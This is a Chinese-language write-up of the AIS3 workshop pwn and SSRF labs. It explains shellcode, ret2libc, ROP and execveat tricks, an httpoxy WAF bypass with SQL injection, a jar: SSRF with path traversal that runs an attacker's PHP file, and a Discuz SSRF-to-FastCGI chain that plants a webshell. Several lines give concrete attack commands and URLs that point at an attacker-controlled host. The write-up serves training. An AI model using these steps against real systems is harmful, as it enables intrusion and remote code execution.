前言
AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。
因為平台好像關惹,我也懶得重搞環境打一次
所以下面解法很多都是憑著印象打出來的,有錯請見諒
lab1
|
|
這題他讀了一個random的的password
然後要我們輸入的magic跟他一樣才會印出flag
要繞過這個判斷
可以用gdb跑
然後先下個斷點讓他停住
|
|
接著
|
|
讓她直接跳過判斷去執行後面指令
FLAG就會彈出來了
Practice1
|
|
這題題目super短,一臉就是直接跳到l33t就能拿到shell的樣子
payload:
|
|
Practice2
|
|
這題就是執行我們輸入的shellcode
題目還說flag在/home/orw64/flag
就是個寫shellcode的練習
payload:
|
|
lab2
|
|
這題就是個沒開DEP,然後塞shellcode到name
再蓋return address成name的位址
就能執行shellcode的概念
payload:
|
|
FLAG大概長這樣:AIS3{JumP_to_sh3llcod3_jUmp_t0_th3_w0rld}
lab3
|
|
這題就是return to libc
可以先塞puts的got位址給他
他會讀出puts_got的值
我們就可以用puts_got - puts_offset算出base address
有base就輕鬆惹
system的位址 = base + system offset
再來參數塞/bin/sh的位址就能拿到shell了
然後64位元參數優先用register傳遞,跟32位元的stack抓參數不太一樣
所以我們要先找個pop rdi的gadget
把/bin/sh的位址pop到rdi裡
再跳到system位址才能拿到shell
payload:
|
|
FLAG看起來長這樣:AIS3{ret_2_lib_1s_v3ry_coMm0n_in_r34l_w0rld}
lab4
|
|
這題就是要我們自己組ROP拿shell
一般來說這種靜態編譯都有很多ROP gadget
可以用工具ROPgadget –binary simplerop_revenge –ropchain
來幫我們自動組Gadget拿shell
但缺點就是可能太長塞不下,所以要手動組
payload:
|
|
FLAG大概長這樣:AIS3{rop_Rop_Rop_then_RIP}
lab5
|
|
這題題目爆幹短
思路大概是這樣,call puts_plt把puts_got的值輸出出來
然後一樣減掉puts_offset就能得到base address
接著可以再call一次main去構造我們的system(“/bin/sh”)
payload:
|
|
bonus
這題沒給source code
objdump出來長這樣:
|
|
這題關鍵就是要構造編號(rax)322的system call: stub_execveat
他跟execve一樣可以叫出shell,底層實作似乎一樣(我沒研究就是惹…
那要怎麼讓rax變成322呢…
很簡單,因為中間會call read讀資料,只要讀322 bytes
返回值rax就會等於322
接著我們輸入的時候一開始直接輸入/bin/sh\0
因為rsi(execveat的filename)原本就是輸入buffer的開頭,也就是/bin/sh,所以也不用特別處理
唯一要注意的是execveat的其他暫存器值要清成0才能work
在這題就是要把rdx清空才行((我一開始一直沒清,想說怎麼一直拿不到shell QQ
可以直接跳到0x4000ed的xor rdx, rdx就行,而且下一行就是syscall,讚讚
payload:
|
|
FLAG大概長這樣:AIS3{r0p_is_e4sy_4nd_fUn}
Bonus - HTTProxy
這題就是orange上課講的Header會被代成環境變數(加上HTTP_的prefix)
然後HTTP_Proxy又會被許多http library當成Proxy用
所以只要在我的Web Server新增這樣一個檔案: x.x.x.x/waf/index.php
內容為<?php echo 'ok'; ?>
接著curl --header 'Proxy: x.x.x.x' https://54.199.254.155/cgi-bin/?id=1
就能繞過waf惹,繞過之後直接對id做SQL injection就能拿到FLAGhitcon{Did you know httpoxy.org?}
Bonus - Jar
這題有一個可以送出URL的地方
這裡可以SSRF,而且file://可以遍歷目錄
然後仔細觀察可以發現他有個?page=orange
的參數
他會去load users/orange.tmp這個檔案
這題就是要利用到jar協議的特性
塞給他一個jar:形式的網址,他會去抓這個檔案做暫存,但是抓完就會刪除暫存
所以就是要想辦法塞給他惡意檔案,然後讓他抓完之後不立刻結束連線
再想辦法去跑這個暫存檔
這裡我是用https://github.com/pwntester/BlockingServer
在機器x.x.x.x上新建kaibro.php
跑Blocking Server: java BlokingServer 12345 kaibro.php
URL的地方塞jar:http://x.x.x.x:12345/kaibro.php!/
讓它卡住
再來用file:///tmp/
去看暫存檔的名字,可能檔名叫jar_cache123456.tmp之類的
然後利用?page=../../../../../../tmp/jar_cache123456
就可以跑我們的php囉
FLAG長這樣:hitcon{Life so hard :(}
Bonus - Discuz Pwn
Discuz因為感覺會很難所以沒解,剩下其他題的話解法應該Google都找得到(?
Update:
後來太無聊,跑去架了一樣的Discuz環境打打看
基本上,orange上課的投影片就已經是解法了XDD
因為_dfsockopen實作中,有FOLLOWLOCATION
所以可以利用SSRF 302跳轉的方式去偽造FastCGI協議
在我自己的Server上,建立一個302.php:
|
|
這一整串噁心的東西,主要就是在偽造FastCGI協議
然後讓他去include我Server上的php script (http://kaibro.tw/x)
Server上的x:
|
|
然後訪問http://thisdiscuzsite/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
它就會成功include我們的x進來
也就可以執行webshell惹